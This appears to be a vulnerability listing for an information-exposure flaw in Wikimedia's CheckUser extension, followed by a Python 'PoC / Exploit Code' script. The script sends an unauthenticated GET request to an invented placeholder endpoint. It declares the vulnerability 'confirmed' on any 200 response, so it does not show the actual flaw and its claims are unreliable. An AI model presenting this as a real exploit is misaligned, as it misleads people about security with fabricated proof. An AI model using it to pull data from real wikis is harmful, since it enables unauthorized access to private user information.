Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation CheckUser.
This issue affects CheckUser: from 1.45.0 before 1.45.2.
Wikimedia Foundation CheckUser >= 1.45.0, < 1.45.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Example, replace with actual vulnerable endpoint)
target_url = "http://target-wiki-domain/checkuser/sensitive-endpoint"
try:
# Send a GET request without authentication headers
response = requests.get(target_url, timeout=10)
# Check if the request was successful and contains sensitive data
if response.status_code == 200:
print("[+] Vulnerability Confirmed!")
print("[+] Sensitive Data Leaked:")
print(response.text[:500]) # Print first 500 chars
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] Error occurred: {e}")